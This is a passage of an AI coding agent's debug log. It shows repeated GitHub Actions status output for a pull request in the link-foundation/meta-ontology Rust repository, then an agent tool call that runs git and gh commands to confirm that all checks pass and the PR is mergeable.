job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build release\\n  \u2713 Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n\u2713 Build Package in 35s (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build release\\n  \u2713 Check package\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Instant Release in 0s (ID 86614062343)\\n- Auto Release in 0s (ID 86614062439)\\n- Deploy Rust Documentation in 0s (ID 86614062542)\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:10:55.063Z] [INFO] \n[2026-07-12T04:10:55.097Z] [INFO] 2026-07-12T04:10:55.096255Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:10:55.097Z] [INFO] \n[2026-07-12T04:10:55.114Z] [INFO] 2026-07-12T04:10:55.114103Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:10:55.114Z] [INFO] \n[2026-07-12T04:10:55.121Z] [INFO] 2026-07-12T04:10:55.119828Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:10:55.121Z] [INFO] \n[2026-07-12T04:10:55.125Z] [INFO] 2026-07-12T04:10:55.125008Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:10:55.125Z] [INFO] \n[2026-07-12T04:10:55.237Z] [INFO] 2026-07-12T04:10:55.231976Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:10:55.237Z] [INFO] 2026-07-12T04:10:55.232103Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:10:55 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"ff719da2-c7d7-48f5-bea5-6d7892bb4280\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=bpxNCAFk8sqSA4vEZSUcbzVKM%2Fqb5K0UoUciST31KBykx4InyGXn4Mw8HQHKZRlWsCbkntCXKffVSALt9kflSIEFzgUb78QF930zGzqNRqwq7%2B5ThEfmW%2BR0M6UI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d336e9f1365df-FRA\"} version=HTTP/1.1\n[2026-07-12T04:10:55.237Z] [INFO] \n[2026-07-12T04:10:56.589Z] [INFO] 2026-07-12T04:10:56.588996Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313d093308191b258416e0f92d2ca\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxPQEfExEnCEk5Tz7NMe2wuhWpZoQh_73V1czYTGrIIh49FNadX9mqy8QZbKkqcO8q3ff0ABx7kuRso9hCa6frDm5F9RavIOy32EKchE73j3l--ETBEAbEPVQ64nC9qjAvOBUlGIycA7DkFxhaNuyDTRNUfspb8poKnopf6sLQEFk3KdpyW4fauXMuoz7UUyHLjgQmNSxyidBfmETLGQqSvZSoSKXbeqSKAASjo8MM2V56iQ30FlUeIXhJEoDyrmkHd8NcRshqtGvLXTCLwqEFmw2fru7tnhDTRN6pAApxoQe6O0Lood9oztc0rm3iUKLKn_AfIlxpNDVhwS4zfnWVUwcm5ozeCp4DBDW1Q0Ng9E9trZP4Eq1wt6Jl11Azd5K6l1CEkYiEu6iXqnqfPApVVZed6DCEmbgTn_8PVQ9Xt2O-qRL56xq12pa8cbZIlcIsw4a0gcA1I9Cg6DcvFIpkRagGscsc70DsR_hJArEWZ35VozCja81ghH0ucv8h5ir2BHoHFyX32icZlSIWnZNOz7GijDDAVDOakXwo3PrS8NwzSY-HYWGQ7lTXvVG64z46cL7fmusFAs1B-fvoHZfK0c4kgG8BH0G0qXgfEBamSjqTimYoOtc8lc7J3c7eIXBhnsvlMkR3n2sMW3FlTD6g8fkMw8O8WziWUdYzeuuAlqQaAmfYwjLD4_cub7GlgvRELxYTHhxVf2VZ0vi5Wualg3fkNrmXBZ05SeOc-GSYyhQyA-dwlQZvSNI0xsvRnX37ADE_lKzj2h2oOabXjBTb6v-esEPajioi0gGqtr1rfxVovSW0cSyGJvzGvGTOS3e_ndy-7-q8goqQdbF3zab01Um-z11bM6r70lZ1LHLJ7t3qWB6QEMdjTNM8I3bjK8GNFh-DrHh5LoEnp5r3O3OCnP4A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:56.589Z] [INFO] \n[2026-07-12T04:10:57.379Z] [INFO] 2026-07-12T04:10:57.379141Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313d093308191b258416e0f92d2ca\"), summary: [SummaryText { text: \"**Verifying clean PR status before merge**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxPR73vHw9O2jDIsRtiK7IZiss5UHZvww3KPrpgcZo0RgohqfIVcnLbjbMTjvqz-iLpTb9-2wNCHXblxyGPTpUfRrmg3bT_1ymsxSP_eOH1xMJlGNOJLck2YHuSgJL8u2dP7WAE7ajGlb1XK4ROUrXazz8A1h-y8EZesALpYgDDqAiE2B-tycVmZ6tKE-4P-XDbZ6zERmuR4wJOFVWOQkEsjIcQJmJADBrlqdXYHm_K5VsR64AnLpvhXi4NerhszYidtgSzJCTQ8I0Hy_x86paVflAxpN_DBURgZkzDPgUoCItlaVhAlhHjktMhYI8zIjvkjRPsH6ujiLZu-WxSN2LvmxNHOYmBi6oOBrVKh3Ke9lDJuIsXekNUw2Dn6vgOHHytr5aHQJkoAkeYkIwQiDQK3_Qk5-kOxmUR9mB9ubalJCkYKIXVvjeDCqZDlXQ2e0ImNp4wsqVt4CYt-R3c8DEONhniDYJK5ZlRdFMu7YuAEGege_zDQg1Ij36uSvwxkB7uvEKvmRLib9wTMft6SX8ShMMNHZnZZkY-fKuzWJWnYs-K0x9cqRcf7WfxV52GsDbuazuCUW7xkqG7h38G8RZf90WQ6qWI0xolMNt9Pmc-pmlI0ccC_t83ARnN-0SOx5CfMjQV78VZwBfrhJsNsE92RBhzOFtVdSDLMzdooNcJ41WrVES8rXqLp9Pz9vIXj48E9x_If9Ntm3Co8dIZQE9_tT34uaM_9Z2A5_gjTXHKDAQgQlVEAnXexDC45m0Ck_5ywPsnPOLnGyi-ZG2yZt79TbXVJJZ0vQez6LYO_NrN2YHlG5-XQuh5gtccvzmVllZGPGusicWH8Q2-xFDt47LMYT1STVpQPjYo1OstG2jfQR8A2QFPiydU9qkwX1BcFQgmm7EDEKr-FIrideTrMJBRKWMxzvndYKMm-mHHITesyfUImvFTFmfYz4Qi55FMUOX0j-L5raxuSNLPhPhcQjr88TubtPFeLpd9P6R4gU49fMUWrJ6VW_DQyS5reqUIefc3xhi4XMwoOigz98lJxTgmq4A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:57.379Z] [INFO] \n[2026-07-12T04:10:57.383Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_58\",\"type\":\"reasoning\",\"text\":\"**Verifying clean PR status before merge**\"}}\n[2026-07-12T04:10:57.383Z] [INFO] \n[2026-07-12T04:10:57.384Z] [INFO] 2026-07-12T04:10:57.381125Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313d15d54819195b9e7e0603b4882\"), status: Some(\"in_progress\"), call_id: \"call_0A3w3iUcXbngChcnlv95AOzZ\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:57.384Z] [INFO] \n[2026-07-12T04:11:00.315Z] [INFO] 2026-07-12T04:11:00.314531Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:11:00.315Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:00.315Z] [INFO] \n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330897Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313cf1b6c8191ba615fdc94c37bc5\"\n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330939Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=97936 output_token_count=200 cached_token_count=91904 reasoning_token_count=20 tool_token_count=98136 ttft_ms=1541 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:00.330Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330962Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=97936 output_token_count=200 cached_token_count=91904 reasoning_token_count=20 tool_token_count=98136 ttft_ms=1541 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:00.330Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.331Z] [INFO] \n[2026-07-12T04:11:00.515Z] [INFO] 2026-07-12T04:11:00.512556Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be decision=approved source=Config event.timestamp=2026-07-12T04:11:00.512Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.515Z] [INFO] \n[2026-07-12T04:11:00.682Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_59\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:11:00.682Z] [INFO] \n[2026-07-12T04:11:02.374Z] [INFO] 2026-07-12T04:11:02.374228Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be arguments={\"cmd\":\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=1862 success=true output=Chunk ID: 8ec499\n[2026-07-12T04:11:02.374Z] [INFO] Wall time: 1.6568 seconds\n[2026-07-12T04:11:02.374Z] [INFO] Process exited with code 0\n[2026-07-12T04:11:02.374Z] [INFO] Original token count: 462\n[2026-07-12T04:11:02.374Z] [INFO] Output:\n[2026-07-12T04:11:02.374Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:11:02.374Z] [INFO] {\"checks\":[{\"conclusion\":\"SUCCESS\",\"name\":\"Detect Changes\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Version Modification Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Create Changelog PR\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Changelog Fragment Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Lint and Format Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Ontology Word Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Code Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (ubuntu-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (macos-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (windows-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Build Package\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Auto Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Instant Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Deploy Rust Documentation\",\"status\":\"COMPLETED\"}],\"headRefOid\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"isDraft\":false,\"mergeStateStatus\":\"CLEAN\",\"mergeable\":\"MERGEABLE\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:11:02.374Z] [INFO] [{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:08:06Z\",\"databaseId\":29179259847,\"headSha\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\"},{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:01:59Z\",\"databaseId\":29179103369,\"headSha\":\"e4a**********************************43d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\"}]\n[2026-07-12T04:11:02.374Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:02.374Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.374Z] [INFO] 2026-07-12T04:11:02.374305Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be duration_ms=1862 success=true arguments_length=536 output_length=1950 output_line_count=8 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:02.374Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.374Z] 